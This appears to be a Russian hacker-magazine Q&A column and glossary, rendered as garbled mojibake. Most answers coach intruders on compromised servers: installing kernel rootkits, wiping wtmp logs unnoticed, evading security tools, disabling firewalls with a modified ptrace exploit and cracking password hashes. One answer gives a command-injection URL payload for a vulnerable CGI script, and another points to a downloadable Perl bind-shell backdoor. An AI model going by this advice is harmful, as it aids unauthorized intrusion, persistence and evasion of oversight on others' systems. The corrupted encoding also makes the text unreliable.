æå ÿ ðåêîìåíäóþ ñêà-
íèðîâàòü ïîðòû ñ óäà-
ëåííîãî øåëëà êîí-
ñîëüíîé ïðîãðàììîé
(íàïðèìåð, nmap�îì).

Ñóùåñòâóþò ëè ñïå-
öèàëüíûå óñëóãè ïî

ïðîâåðêå ñåðâåðîâ íà
ïðî÷íîñòü?

Äà, òàêèå óñëóãè îêà-
çûâàþòñÿ. Íàïðèìåð,
êîìïàíèÿ Positive
Technologies (www.ptse-
curity.ru) ïðåäëàãàåò
âçëîìàòü ñåðâåð âñåãî
çà $1000. Ñîòðóäíèêè
êîìïàíèè ïûòàþòñÿ
õàêíóòü çàêàç÷èêà, ïî-
ëó÷èòü òàì øåëë è ñòà-
ùèòü êîíôèäåíöèàëü-

íóþ èíôîðìàöèþ, êî-
òîðàÿ áû ÿâëÿëàñü äî-
êàçàòåëüñòâîì òîãî, ÷òî
âçëîì óäàëñÿ. Ýòà óñ-
ëóãà áûëà íàçâàíà
«penetration testing».
Åñòåñòâåííî, ïðîâå-
ðèòü ñâîé ñåðâåð íà
äûðêè � óäîâîëüñòâèå
äîðîãîå. Êëèåíòàìè
çàéìóòñÿ ñîòðóäíèêè
PT è SecurityLab. Îíè
ãàðàíòèðóþò àáñîëþò-
íóþ êîíôèäåíöèàëü-
íîñòü è ïîëíîòó òåñòè-
ðîâàíèÿ. Íà ðûíêå ïðè-
ñóòñòâóþò è äðóãèå
êîìïàíèè: Digital
Security (www.dsec.ru),
ÍÏÎ "Èíôîðìçàùèòà"
(www.infosec.ru). Âïðî÷åì,
ìîæíî ïîéòè äðóãèì
ïóòåì - ïðèãëàñèòü çíà-
êîìîãî õàêåðà, åñëè òà-
êîâîé èìååòñÿ. 

ß çàëèë ðóòêèò íà ñåð-
âåð, à íîâûå áèíàðíè-

êè ïåðåñòàëè çàïóñêàòüñÿ.
×òî ìíå òåïåðü äåëàòü?

Èñêàòü áýêàïû. Ðóòêè-
òû, âûïîëíåííûå â âè-
äå ïðåêîìïèëåííûõ áè-
íàðíûõ ôàéëîâ, íåíà-
äåæíû. Òî åñòü âïîëíå
âîçìîæíî, ÷òî êèò íå
ïåðåâàðèòñÿ íîâûìè
ãëèáñàìè. Áûâàåò, ÷òî
áèíàðíèê îáúÿâèò îá
îòñóòñòâèè êàêîé-ëèáî
áèáëèîòåêè, à èíîãäà
ìîæåò âîîáùå íå çà-
ïóñòèòüñÿ. Â ýòîì ñëó-
÷àå èùè áýêàï ñèñòåìû
íà äðóãîì íîñèòåëå ëè-
áî âðó÷íóþ ïåðåóñòà-
íàâëèâàé èñïîð÷åííûå
ôàéëû. À çàòåì âîñ-
ïîëüçóéñÿ äðóãèì ðóò-
êèòîì, íà îñíîâå LKM,
íàïðèìåð.

×òî òàêîå LKM-ðóò-
êèò?

Ýòî î÷åíü ïîëåçíàÿ
øòóêà! LKM - Linux
Kernel Module, ðóòêèò,
ïîñòðîåííûé íà íåì,
ïðåäñòàâëÿåò ñîáîé íà-
áîð ÿäåðíûõ ìîäóëåé,
êîòîðûå ïîñëå çàãðóç-
êè ïåðåõâàòûâàþò ñèñ-
òåìíûå âûçîâû, ñòèðà-
þò ñåáÿ èç ñïèñêà ìî-
äóëåé è ò.ä. Ïðåèìóùå-
ñòâî íàëèöî: ðóòêèò íå
çàìåíÿåò íèêàêèõ ôàé-
ëîâ, ïîýòîìó äàæå ïîñ-
ëå ïåðåóñòàíîâêè áè-
íàðíèêîâ õàêåðñêèå
ìîäóëè áóäóò ðàáîòàòü.
Òîëüêî âîò íåçàäà÷à:
ñóùåñòâóåò ñîôò, êîòî-
ðûé ïîçâîëÿåò óâèäåòü
óñòàíîâëåííûé â ñèñ-
òåìå LKM-ðóòêèò.

ß íàøåë áàæíûé
ñêðèïò, íî äîáèëñÿ

âûïîëíåíèÿ òîëüêî êîìàí-
äû â îäíî ñëîâî. Ñî âòî-
ðûì ïàðàìåòðîì çàïðîñ
ïðîñòî èãíîðèðóåòñÿ. ×òî
ìîæåøü ïîñîâåòîâàòü â
ýòîì ñëó÷àå?

Â ñïèñêå ïåðåìåííûõ
îêðóæåíèÿ ïðèñóòñòâó-
åò òàê íàçûâàåìàÿ ïóñ-
òàÿ ñòðîêà $IFS. Åå è
ñëåäóåò èñïîëüçîâàòü
â çàïðîñå. Òî åñòü, åñ-
ëè áàæíûé ñêðèïò
file.cgi èìååò ïàðàìåòð
file, ïðèíèìàþùèé
ëèøü îäíî ñëîâî, ðåê-
âåñò áóäåò âûãëÿäåòü
ñëåäóþùèì îáðàçîì:
http://host.com/cgi-
bin/file.cgi?file=|uname$IF
S-a|.

»
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Íàøà ñåòü ñòðîèòñÿ
íà õàáàõ. Êàê ìîæíî

ôàåðâîëîì çàáëîêèðîâàòü
íåëåãàëüíóþ ïîïûòêó ñìå-
íû IP-àäðåñà?

Â ýòîì ñëó÷àå íóæíî
îôîðìëÿòü ñòàòè÷åñ-
êóþ ïðîïèñêó ARP-
òàáëèöû. Íî, ðàç óæ
òû çàãîâîðèë î ôàåð-
âîëå, ïîäåëþñü ïðàâè-
ëîì, êîòîðîå ïðèâÿ-
æåò íóæíûé IP-àäðåñ
ê MAC. Ýòî äîñòèãàåò-
ñÿ ïðè ïîìîùè ìîäóëÿ
mac.so. Ðóëåñ áóäåò
âûãëÿäåòü ñëåäóþùèì
îáðàçîì:

iptables �A INPUT �s
192.168.0.1 �m mac -�mac-
source 00:C0:DF:10:19:FB �j
ACCEPT.

Ïðè æåëàíèè òû ìî-
æåøü óêàçàòü ïàðàìåòð
-mac-desitination, ÷òîáû
ðàçðåøèòü ñîåäèíåíèå
ñ óçëîì, èìåþùèì îï-
ðåäåëåííûé MAC.

Åñòü ëè ñïîñîá óç-
íàòü, íàõîäèòñÿ ëè

âçëîìùèê â êîíñîëè, åñëè
îí óñòàíîâèë ðóòêèò è
ëîãêëèíåð?

Åñòü îäèí âåðíûé ñïî-
ñîá, îïðåäåëÿþùèé ëå-
âûõ þçåðîâ äàæå ïîñ-
ëå çà÷èñòêè ëîãîâ. Âû-
ïîëíè êîìàíäó ls �la
/dev/pts è ñðàâíè ÷èñ-
ëî îòêðûòûõ ïñåâäîó-
ñòðîéñòâ ñ ÷èñëîì àê-
òèâíûõ þçåðîâ. Åñëè
òû îáíàðóæèøü ïàðó
ëèøíèõ ïñåâäîòåðìè-
íàëîâ, çíàé, ÷òî íà òâî-
åé ìàøèíå õîñòèòñÿ õà-
êåð :). Ïðàâäà, íåêîòî-
ðûå ïðîöåññû, íàïðè-
ìåð radius, áåðóò äëÿ
ñåáÿ pts, íî ýòî èñêëþ-
÷åíèå èç ïðàâèë.

Ìîæíî ëè «âûêëþ-
÷èòü» óñòàíîâëåííûé

íà ñåðâåðå ôàåðâîë?

Åùå êàê! Äëÿ ýòîãî õà-
êåðó íóæíû ìèíèìàëü-
íûå ïðàâà, à òàêæå
äûðêà â ñåðâåðå :). Äî-
ïóñòèì, íà ìàøèíå êðó-
òèòñÿ áàæíîå ÿäðî, à
âçëîìùèê èìååò äîñòóï
ê Web-øåëëó. ×òîáû
äåàêòèâèðîâàòü ôàåð-
âîë, îí çàëèâàåò íà
ñåðâåð ptrace-ýêñïëîèò

(ëèáî êàêîé-íèáóäü
äðóãîé) ñî ñëåãêà èçìå-
íåííûì êîäîì. Âìåñòî
çàïóñêà /bin/sh áóäåò
ñòàðòîâàòüñÿ ñöåíàðèé,
êîòîðûé îáðàùàåòñÿ ê
/etc/init.d/iptables ñ ïà-
ðàìåòðîì stop. Êàê
ïðàâèëî, çàïóñê âíåø-
íåé êîìàíäû íå âûíî-
ñèòñÿ â shell-êîä, òàê
÷òî èñïðàâèòü ñèøíèê
ñìîæåò äàæå òåìíûé
÷åëîâåê :). Ïîñëå êîì-
ïèëÿöèè è çàïóñêà
ñïëîèòà ôàåðâîë äîë-
æåí âûêëþ÷èòüñÿ.

ß âçëîìàë ñåðâåð îä-
íîé êðóòîé êîìïàíèè.

Óâåðåí, ÷òî àäìèíû çàùè-
òèëè ìàøèíó íà âñå 100%.
Íà êàêèå ñåêüþðíûå ïðî-
öåññû ìíå ñëåäóåò îáðà-
òèòü îñîáîå âíèìàíèå?

Íà ìàøèíå ìîãóò ñòî-
ÿòü óòèëèòû, òåñòèðóþ-
ùèå ñèñòåìó íà áåçî-
ïàñíîñòü. Îáðàùàé
âíèìàíèÿ íà çàïóùåí-
íûå ïðîãðàììû trip-
wire, portcentry, ðàç-
ëè÷íûå IDS, à òàêæå íà
ïðîãðàììó chkrootkit,
êîòîðàÿ ìîæåò è íå
ñâåòèòüñÿ â ïðîöåññ-
ëèñòå.

ß êîííåê÷óñü ê ñåðâå-
ðó ÷åðåç áýêäîð, à çà-

òåì çàïóñêàþ ëîãêëèíåð.
Ïðîöåññ çà÷èñòêè ëîãîâ
çàíèìàåò îêîëî 5 ìèíóò,
òàê êàê wtmp âåñèò ïîðÿä-
êà 500 Ìá. Ìîæíî ëè êàê-
íèáóäü óñêîðèòü î÷èñòêó?

Íè â êîåì ñëó÷àå íå
óäàëÿé /var/log/wtmp,
òàê êàê àäìèíèñòðàòîð
ñðàçó ïî÷óåò íåëàä-
íîå. Âûáåðè äðóãîé
ëîãêëèíåð. Äåëî â
òîì, ÷òî ëîãâàéïåð,
êîòîðûé òû èñïîëüçó-
åøü, íà÷èíàåò èñêàòü
çàïèñè ñ íà÷àëà ôàé-
ëà. Îäíàêî â ñåòè ìíî-
ãî ÷èñòèëüùèêîâ, êî-
òîðûå ñòàâÿò óêàçà-
òåëü â êîíåö wtmp, à
çàòåì íà÷èíàþò ïî-
èñê. Òàêîé àëãîðèòì
èñïîëüçóåòñÿ, íàïðè-
ìåð, â óòèëèòå grlog-
wipe. Áüþñü îá çàê-
ëàä, ÷òî òû þçàåøü
vanish2, òàê êàê èìåí-
íî îí î÷èùàåò wtmp ñ
ñàìîãî íà÷àëà. 

Â ìîåé ñèñòåìå ñòàëè
ñïîíòàííî ïðîïàäàòü

ôàéëû. Âåðíåå, ôàéë ñóùå-
ñòâóåò, íî /bin/ls åãî íå ïîêà-
çûâàåò! Ñ ÷åì ýòî ñâÿçàíî?

Íà óì ñðàçó ïðèõîäèò:
òåáÿ âçëîìàëè. Òåñòè-
ðóé ñåðâåð íà íàëè÷èå
ðóòêèòîâ è âûÿâëÿé
çëîóìûøëåííèêà. Õà-
êåð, âèäèìî, ïðîïèñàë
â êîíôèã ðóòêèòà ìàñ-
êó, ïîä êîòîðóþ ïîïàë
ñèñòåìíûé ôàéë. Â ðå-
çóëüòàòå ýòîãî ôàéë
èñ÷åç èç ïîëÿ çðåíèÿ
ls. Âïðî÷åì, òàêàÿ àíî-
ìàëèÿ ìîæåò âîçíèê-
íóòü, åñëè íà âèíòå
èìåþòñÿ áýäû. Íà âñÿ-
êèé ñëó÷àé çàïóñòè
fsck è óäîñòîâåðüñÿ,
÷òî ôàéëîâàÿ ñèñòåìà
â íîðìå.

Êîãäà ÿ ïðîñìàòðèâàë
òàáëèöû MySQL íà

âçëîìàííîì ñåðâåðå, òî íà-
ïîðîëñÿ íà êàêèå-òî ó÷åò-
íûå çàïèñè. Òîëüêî âîò ïà-
ðîëè òàì çàøèôðîâàíû, è ÿ
íå ìîãó èõ âçëîìàòü.

Òû íàòêíóëñÿ íà MD5-
õýøè. MD5 ÿâëÿåòñÿ
íåîáðàòèìûì àëãîðèò-
ìîì, ïîýòîìó åäèí-
ñòâåííûé ñïîñîá ðàñ-
øèôðîâàòü ïàðîëü �
âîñïîëüçîâàòüñÿ ïðîã-
ðàììîé-áðóòôîðñåðîì.
Òàêèõ ïðîãðàìì ìíîãî,
ìîãó ïîðåêîìåíäîâàòü
md5crack è md5Inside.
Âòîðàÿ ñîôòèíà èìååò
ãðàôè÷åñêèé èíòåð-
ôåéñ è ïîääåðæèâàåò
ïîòîêè, òàê ÷òî ðàñ-
øèôðîâêà çàéìåò íå
î÷åíü ìíîãî âðåìåíè.

Â êàòàëîãå /tmp ÿ îá-
íàðóæèë ñòðàííîâàòûé

ôàéë .bugtraq. Âñå áû íè÷å-
ãî, íî åãî âëàäåëåö - þçåð
nobody. Ìåíÿ âçëîìàëè?

Äà, ê ñîæàëåíèþ, òåáÿ
âçëîìàëè. Ôàéë, êîòî-
ðûé òû îáíàðóæèë, ÿâ-
ëÿåòñÿ ÷àñòüþ ñèñòåìû
äëÿ ïðîâåäåíèÿ DDoS.
Èíûìè ñëîâàìè, òâîþ
ìàøèíó ïîïðîñòó çîì-
áèðîâàëè ÷åðåç áàã â
httpd. Íåìåäëåííî óäà-
ëè ýòîò ôàéë è ïåðåóñ-
òàíîâè Apache íà áîëåå
ñâåæèé ðåëèç. Êðîìå
ýòîãî, ïðîâåðü ñèñòåìó

íà íàëè÷èå ðóòêèòà -
âîçìîæíî, âçëîìùèê äî
ñèõ ïîð èñïîëüçóåò ðå-
ñóðñû òâîåãî ñåðâåðà.

Ïîñîâåòóé ïðîñòîé
áýêäîð, êîòîðûé áû

óäàëåííî îòêðûâàë ïîðò
íà âçëîìàííîé ÷åðåç WWW
ìàøèíå.

Ïîæàëóéñòà! Ìîæåøü
âîñïîëüçîâàòüñÿ ìîèì
ëþáèìûì ïåðëîâûì
áýêäîðîì. Ñêðèïò îòê-
ðûâàåò ïîðò 37900 è
ïðè ïîäêëþ÷åíèè çà-
ïóñêàåò /bin/sh â èíòå-
ðàêòèâíîì ðåæèìå. Ñöå-
íàðèé âåñèò âñåãî 317
áàéò, çàáèðàé åãî ñ ìîå-
ãî ñåðâåðà http://forb.con-
vex.ru/bd.pl.

Õî÷ó äëÿ ãðàìîòíîé
çàùèòû îðãàíèçîâàòü

â ñåòè ìàøèíêó òîëüêî äëÿ
ëîãîâ. Êàê çàñòàâèòü sys-
logd óäàëåííî ïåðåñûëàòü
íà íåå äàííûå?

Äëÿ ïåðåñûëêè ëîãîâ sys-
logd îòêðûâàåò 514 udp-
ïîðò, êîòîðûé ñëóæèò äëÿ
ïðèåìà äàííûõ. Óñòàíîâè
ñåðâèñ ñ îòêðûòûì ïîðòîì
íà ìàøèíå äëÿ õðàíåíèÿ
æóðíàëîâ (çàïóñêàé äå-
ìîí ñ ïàðàìåòðîì �r). Çà-
òåì çàíåñè â
/etc/syslog.conf (íà ñåðâå-
ðàõ, ñ îòñûëàåìûìè ëîãà-
ìè) ñòðîêó âèäà *.* @àä-
ðåñ_ñèñòåìû, è âñå æóð-
íàëû áóäóò ïåðåäàâàòüñÿ
íà óäàëåííûé ñåðâåð.

Íàøåë ñòàðåíüêèé
Linux â ëîêàëüíîé ñå-

òè. Íà ñåðâåðå êðóòèòñÿ
DNS è áîëüøå íè÷åãî. Ó ìå-
íÿ åñòü ýêñïëîèò äëÿ bind,
íî ÿ íå çíàþ åãî âåðñèþ.
Ìîæíî ëè åå îïðåäåëèòü
êàêîé-íèáóäü óòèëèòîé?

Çàïóñòè óòèëèòó dig ñ
ïàðàìåòðîì «@àä-
ðåñ_ñåðâåðà chaos txt
version.bind», è óâè-
äèøü âåðñèþ ñåðâåðà.
Ìîæíî îòôèëüòðîâàòü
âûâîä ïî øàáëîíó
VERSION.BIND, òîãäà
îòâåò çàéìåò âñåãî îä-
íó ñòðîêó. Íàáåðè man
dig, è óçíàåøü, ÷òî
åùå ìîæíî ñäåëàòü ñ
ïîìîùüþ ýòîé ÷óäåñ-
íîé óòèëèòû. E
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Áýê-
äîð

(backdoor) �
íåáîëüøàÿ
ïðîãðàììà,

îñòàâëÿþùàÿ ëàçåéêó äëÿ
óäà÷ëèâîãî çëîóìûøëåíè-
êà íà âçëîìàííîé èì ñèñ-
òåìå. Áýêäîð ìîæåò ïðåäñ-
òàâëÿòü ñîáîé óæå ñêîì-
ïèëèðîâàííûé ôàéë èëè
ñöåíàðèé íà ïîäðó÷íîì
ÿçûêå, íàïðèìåð, íà Perl.
Êàê ïðàâèëî, áýêäîð îòê-
ðûâàåò ïîðò íà ñåðâåðå è
îæèäàåò ïîäêëþ÷åíèÿ. Åñ-
ëè êîííåêò ïðîèçîøåë, çà-
ïóñêàåòñÿ /bin/sh. Íàâîðî-
÷åííûå áýêäîðû èìåþò
âîçìîæíîñòü çàêðûòü ñîå-
äèíåíèå ïî òàéì-àóòó â öå-
ëÿõ áåçîïàñíîñòè.

Ðóòêèò ((rootkit) �
êîìïëåêò, ïðåäíàç-

íà÷åííûé äëÿ ñîêðûòèÿ
âçëîìùèêîì ñâîåãî ïðå-
áûâàíèÿ íà ñåðâåðå. Áëà-
ãîäàðÿ óñòàíîâêå ðóòêèòà
âñå äåéñòâèÿ õàêåðà îñòà-
þòñÿ çàñåêðå÷åííûìè:
îòêðûòûå ïîðòû íå ñâåòÿò-
ñÿ â netstat, /bin/ls íå ïî-
êàçûâàåò îïðåäåëåííûå
ôàéëû, /bin/ps ñêðûâàåò
ïðîöåññû è ò.ï. Åñëè ãîâî-
ðèòü î òîì, êàêèìè áûâàþò
ðóòêèòû, òî ìîæíî âûäå-
ëèòü äâà âèäà: èçãîòîâëåí-
íûå â ôîðìå ïðåêîìïè-
ëåííûõ áèíàðíèêîâ ëèáî
èçãîòîâëåííûå â ôîðìå
ÿäåðíûõ ìîäóëåé. Âòîðîé
âàðèàíò ïðåäïî÷òèòåëüíåå
è áåçîïàñíåå, èáî LKM
ïîäìåíÿåò ñèñòåìíûå âû-
çîâû, à çàòåì ñòèðàåò ñåáÿ
èç òàáëèöû çàãðóæåííûõ
ìîäóëåé. Ñîîòâåòñòâåííî,
âñå áèíàðíèêè îñòàþòñÿ
ñòàðûìè, à óòèëèòû òèïà
chkrootkit ãîâîðÿò, ÷òî ñèñ-
òåìà â ïîëíîì ïîðÿäêå :)
(ýòî ñïðàâåäëèâî ëèøü

äëÿ ñàìûõ òðèâèàëüíûõ
óòèëèò ïîäîáíîãî ðîäà -
ïðèì. AvaLANche'à).

Chkrootkit � ñïåöè-
àëüíàÿ ïðîãðàììà,

ïîçâîëÿþùàÿ ïðîâåðèòü
ñèñòåìó íà íàëè÷èå óñòà-
íîâëåííîãî ðóòêèòà. Ïðîãà
ïîñòàâëÿåòñÿ ñ áàçîé âñåõ
èçâåñòíûõ õàêåðñêèõ
êîìïëåêòîâ. Ïî ýòîé áàçå
è âåäåòñÿ ñêàíèðîâàíèå.
Òàêæå chkrootkit îáðàùà-
åò âíèìàíèå íà íàëè÷èå
ñíèôåðîâ è èññëåäóåò
MD5-ñóììó áèíàðíûõ ôàé-
ëîâ. Â ñëó÷àå åå èçìåíå-
íèÿ ïðîãðàììà îïîâåùàåò
àäìèíà î âîçìîæíîì âòîð-
æåíèè õàêåðà.

Logwiper ((logcleaner) �
íåáîëüøàÿ ïðîãðàì-

ìà, ïîçâîëÿþùàÿ ÷èñòèòü
ñèñòåìíûå æóðíàëû (ëî-
ãè). Îáû÷íî logwiper'û
ñîçäàþòñÿ äëÿ áèíàðíûõ
ëîãîâ (/var/log/wtmp,
/var/run/utmp/,
/var/log/lastlog), êîòîðûå
âû÷èñòèòü íå òàê-òî ïðîñ-
òî. Äëÿ îáðàùåíèÿ ê ýòèì
ëîãàì íóæíî çíàòü ñïåöè-
àëüíóþ ñòðóêòóðó utmp,
êîòîðàÿ îïèñàíà â õèäåðå
/usr/include/utmp.h. Èìåí-
íî ïîýòîìó áîëüøèíñòâî
logwiper'îâ íàïèñàíî íà
Ñè. Â êà÷åñòâå ïðèìåðîâ
ìîãó ïðèâåñòè òðè õîðî-
øèõ logcleaner'à: Vanish2,
grlogwipe è Zap2.

Àêêàóíò ((account) �
ó÷åòíàÿ çàïèñü íà

ñåðâåðå. Îäèí èç ôàêòîâ
âçëîìà � ïîëó÷åíèå âà-
ëèäíîãî àêêàóíòà. Ïðè
ýòîì ñëîâî «âàëèäíûé»
îçíà÷àåò òî, ÷òî þçåð äîë-
æåí èìåòü õîðîøèé êîìà-
íäíûé èíòåðïðåòàòîð
(/bin/sh, /bin/bash è ò.ä.) â

êà÷åñòâå îáîëî÷êè. Â ïðî-
òèâíîì ñëó÷àå âçëîìùèêó
íåò íèêàêîé âûãîäû îò äî-
áûòîãî àêêàóíòà.

Äåôåéñ ((deface) �
çàìåíà ãëàâíîé

HTML-ñòðàíèöû íà web-
ñàéòå. Íåñìîòðÿ íà òî ÷òî
äåôåéñ � óäåë ñêðèïòêè-
äèñîâ (script-kiddies - ïîä-
âèä ìåãàõàêåðîâ, óìåþ-
ùèõ èñïîëüçîâàòü òîëüêî
èçâåñòíûå áàãè è ãîòîâûå
ýêñïëîèòû), íà ïîïóëÿð-
íûõ ïîðòàëàõ ïî áåçîïàñ-
íîñòè âûâåøåí TOP äå-
ôåéñîâ èçâåñòíûõ ñàéòîâ.
Íî, ïî ìíåíèþ ñåðüåçíûõ
õàêåðîâ, äåôåéñ - ýòî
ïðîñòî ðåáÿ÷åñòâî. Íàñòî-
ÿùèé âçëîì äîëæåí ïðè-
âîäèòü ê àáñîëþòíûì ïðà-
âàì íà àòàêóåìîì ñåðâåðå.

Õýø ((hash) � çíà÷å-
íèå íåêîòîðîé (îä-

íîçíà÷íîé, â ïðîòèâíîì
ñëó÷àå ïðîèñõîäèò êîëëè-
çèÿ) ôóíöèè (õýø-ôóíê-
öèè) êàêîãî-ëèáî àðãóìåí-
òà. Ïðè÷åì ïî õýøó, äàæå
çíàÿ âèä ôóíêöèè, íåëüçÿ
âè÷èñëèòü åå àðãóìåíò (òî
åñòü òî, îò ÷åãî "áåðåòñÿ
õýø"). Çâó÷èò íåìíîãî çà-
ïóòàííî, íî èìåííî ýòà
ôîðìóëèðîâêà íàèáîëåå
òî÷íî îïèñûâàåò òî, ÷òî
ñåé÷àñ íàçûâàþò õýøåì.
Õýøèðîâàíèå â ïîñëåäíåå
âðåìÿ ïðèìåíÿþò äëÿ
"øèôðîâàíèÿ" ïàðîëåé: â
ñèñòåìå õðàíèòñÿ òîëüêî
çíà÷åíèå õýø-ôóíêöèè îò
òåêñòîâîé ñòðîêè - ñàìîãî
ïàðîëÿ. Ïðè àíòåíòèôèêà-
öèè çàíîâî âû÷èñëÿåòñÿ
õýø îò ââîäèìîãî ïîëüçî-
âàòåëåì ïàðîëÿ, è åñëè îí
ñîâïàäàåò ñ õðàíÿùèìñÿ â
ñèñòåìå, ïîëçîâàòåëü
"ïóñêàåòñÿ" â ñèñòåìó. Õý-
øèðîâàíèå ìîæåò îñóùåñ-

òâëÿòüñÿ êàêèì óãîäíî àë-
ãîðèòìîì, íî åñëè ãîâî-
ðèòü î *nix-ñèñòåìàõ (äà è
íå òîëüêî î íèõ), íàèáîëåå
ðàñïðîñòðàíåííûì ÿâëÿåò-
ñÿ MD5. Îí íàøåë ñâîå
ïðèìåíåíèå â øèôðîâà-
íèè òåíåâûõ (shadow) ïà-
ðîëåé, à òàêæå ïàðîëåé,
õðàíÿùèõñÿ â MySQL.

Çàäîñèòü � ïðîâåñòè
DoS/DDoS-àòàêó. Òà-

êîå íàïàäåíèå ïðèâîäèò ê
òîìó, ÷òî àòàêóåìûé ñåð-
âåð ïåðåñòàåò íîðìàëüíî
ôóíêöèîíèðâàòü (âèñíåò,
ïåðåñòàåò îòâå÷àòü íà
óäàëåííûå çàïðîñû). Îíî
è ïîíÿòíî, âåäü DoS ÷àùå
âñåãî îñíîâûâàåòñÿ íà
áåñïîðÿäî÷íîì ôëóäå (ïî-
ñûëêå îãðîìíîãî êîëè÷å-
ñòâà ñåòåâûõ ïàêåòîâ), â
ðåçóëüòàòå êîòîðîãî ñåð-
âåð ïðîñòî çàõëåáûâàåòñÿ
â ïðèõîäÿùåì ìóñîðå è íå
óñïåâàåò àíàëèçèðîâàòü
äàííûå.

Ýêñïëîèò, ññïëîèò
(exploit) � ïðîãðàììà,

ðåàëèçóþùàÿ êàêóþ-òî
îøèáêó â ñåðâèñå èëè ñèñ-
òåìíîì áèíàðíèêå. Ñïëîèò
ìîæíî íàçâàòü ýôôåêòèâ-
íûì, åñëè îí ëîìàåò óäà-
ëåííûé äåìîí, îòêðûâàÿ
íà ìàøèíå óäàëåííûé ðó-
òîâûé øåëë. Íî ðåàëüíûõ
ýêñïëîèòîâ î÷åíü ìàëî,
îáû÷íî ðÿäîâûå ñïëîèòû
îñíîâàíû íà ñðûâå áóôå-
ðà (buffer overflow) ó ëî-
êàëüíûõ ôàéëîâ èëè äî-
áû÷å ïðàâ nobody ÷åðåç
ìîäóëü HTTPD.

Ìàñêàðàä ((masquer-
ade) � íå òîëüêî âå-

ñåëûé ïðàçäíèê, íî è ïîä-
ìåíà âíóòðåííåãî IP-àäðå-
ñà õîñòîâ, íàõîäàùèõñÿ â
"âèðòóàëüíîé" ñåòè (òèïà
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10.0.0.0, 192.168.0.0), IP-
àäðåñîâ øëþçà, ïîñðåä-
ñòâàì êîòîðîãî ýòà ñåòü
ïîäêëþ÷åíà â èíòåðíåò.  Â
ðåçóëüòàòå ÷åãî ëîêàëü-
íûå ìàøèíû (÷àñòî ãîâî-
ðÿò: ñ íåðåàëüíûìè àäðå-
ñàìè) ïîëó÷àþò ïðàâî èñ-
ïîëüçîâàòü èíòåðíåò íà
ïîëíóþ êàòóøêó.

Ôàåðâîë, ááðàíäìàó-
ýð, ññåòåâîé ýýêðàí

(firewall) � ïðîãðàììíîå
èëè àïïàðàòíîå ñðåäñòâî,
ïðåäíàçíà÷åííîå äëÿ çà-
ùèòû êîìïüþòåðà (êîìïü-
þòåðíîé ñåòè) îò âíåøíèõ
âòîðæåíèé. Â àïïàðàòíîì
âèäå ôàåðâîë ïðåäñòàâëÿ-
åò ñîáîé îòäåëüíûé
êîìïüþòåð (èëè óñòðîé-
ñòâî), ñïåöèàëüíî ïðåä-
íàçíà÷åííûé äëÿ îáðàáîò-
êè ñåòåâûõ ïàêåòîâ. Êàê
ïðàâèëî, òàêèå ìàøèíû
ñíàáæåíû îïåðàöèîíêîé
ðåàëüíîãî âðåìåíè (ñ ìè-
íèìàëüíûìè çàäåðæêàìè
ìåæäó êîìàíäàìè), ïîýòî-
ìó îíè ìîãóò ñïðàâèòüñÿ ñ
ìàñøòàáíîé DDoS-àòàêîé.
Ïîíÿòíî, ÷òî èõ öåíà
î÷åíü âûñîêà. Â ëîêàëü-
íûõ ñåòÿõ îáùåãî íàçíà-
÷åíèÿ ïðèìåíÿþòñÿ ïðîã-
ðàììíûå ôàåðâîëû. Â
Linux òàêàÿ ïðîãðàììà íà-
çûâàåòñÿ iptables, â
FreeBSD � ipfw, â OpenBSD
� pf. Ýòè ïðîãè âûïîëíÿþò
îäíó ðîëü � àíàëèçèðóþò
çàãîëîâêè ïàêåòîâ è ïðè-
íèìàþò ðàçëè÷íûå ðåøå-
íèÿ íà îñíîâå ïðàâèë, íà-
ïèñàííûõ ñèñòåìíûì àäìè-
íèñòðàòîðîì.

Ðóëåñ ((îò rrule) � ïðà-
âèëî, êîòîðîå çàïè-

ñûâàåòñÿ â òàáëèöû ôàåð-

âîëà. Ðóëåñû ìîãóò çàäà-
âàòüñÿ êàê äëÿ ðàçðåøå-
íèÿ, òàê è äëÿ çàïðåùå-
íèÿ ïðèåìà/îòïðàâêè ïà-
êåòà. Îáû÷íî ïîäîáíîå
ïðàâèëî âêëþ÷àåò â ñåáÿ
àäðåñ îòïðàâèòåëÿ/ïîëó-
÷àòåëÿ è ïîðò íàçíà÷åíèÿ,
à òàêæå ïîëèòèêó. Îäíàêî
ðóëåñû ìîãóò âêëþ÷àòü â
ñåáÿ î÷åíü ìíîãî ïàðà-
ìåòðîâ, à ìîãóò íå âêëþ-
÷àòü íè÷åãî, êðîìå ïîëè-
òèêè. Âñå çàâèñèò îò àäìè-
íà è åãî óìñòâåííûõ ñïî-
ñîáíîñòåé :).

Áðóòôîðñ ((brute
force) � âçëîì "ãðó-

áîé ñèëîé", îñíîâàííûé
íà óïîðÿäî÷åííîì ïåðåáî-
ðå ïàðîëÿ â ëþá. Åñëè
âçëîìùèê äîáûë ïàðîëü-
íûé õýø, îí ìîæåò îñóùå-
ñòâèòü áðóòôîðñ ïî ñëîâà-
ðþ ëèáî ïî ïðîèçâîëüíûì
ñèìâîëàì. Èñõîä áðóòôîð-
ñà íèêòî ïðåäóãàäàòü íå
ìîæåò: â ñëó÷àå äåéñòâè-
òåëüíî ñëîæíîãî è äëèí-
íîãî ïàðîëÿ âçëîìùèêó
ïîíàäîáèòñÿ ìíîãî ìèëëè-
îíîâ ëåò, ÷òîáû ïåðåáðàòü
âñå âîçìîæíûå âàðèàíòû.

Áðóòôîðñåð ((brute-
forcer) � ïðîãðàììà,

ïîçâîëÿþùàÿ îðãàíèçî-
âàòü äëèòåëüíûé ïðîöåññ
áðóòôîðñà. Åñëè ãîâîðèòü
îá óäàëåííîì ïåðåáîðå
(êîãäà íåãîäÿé ïîäáèðàåò
ïàðîëü íà îïðåäåëåííûé
óäàëåííûé ñåðâèñ), õîðî-
øèì áðóòôîðñåðîì ÿâëÿ-
åòñÿ ñîôòèíà Brutus ïîä
Win32 è hydra ïîä UNIX.
Õîòÿ íèêòî íå ìåøàåò íà-
ïèñàòü ñîáñòâåííûé áðóò-
ôîðñåð è îòòî÷èòü åãî ïîä
êîíêðåòíûé ñåðâèñ. Òàê

äåëàþò ìíîãèå õàêåðû. Â
ñëó÷àå ëîêàëüíûõ àòàê,
êîãäà ó çëîóìûøëåííèêà
èìååòñÿ ïàðîëüíûé õýø,
îí ïðèáåãàåò ê óòèëèòàì
MD5Inside, John The
Ripper èëè L0phtcrack.

Áîò ((bot, îîò rrobot) �
ñïåöèàëüíàÿ ïðîã-

ðàììà-ðîáîò, ïîñëóøíî
âûïîëíÿþùÿÿ óäàëåííûå
êîìàíäû õîçÿèíà (áîòîâî-
äà), ÷àùå âñåãî ÷åðåç IRC.
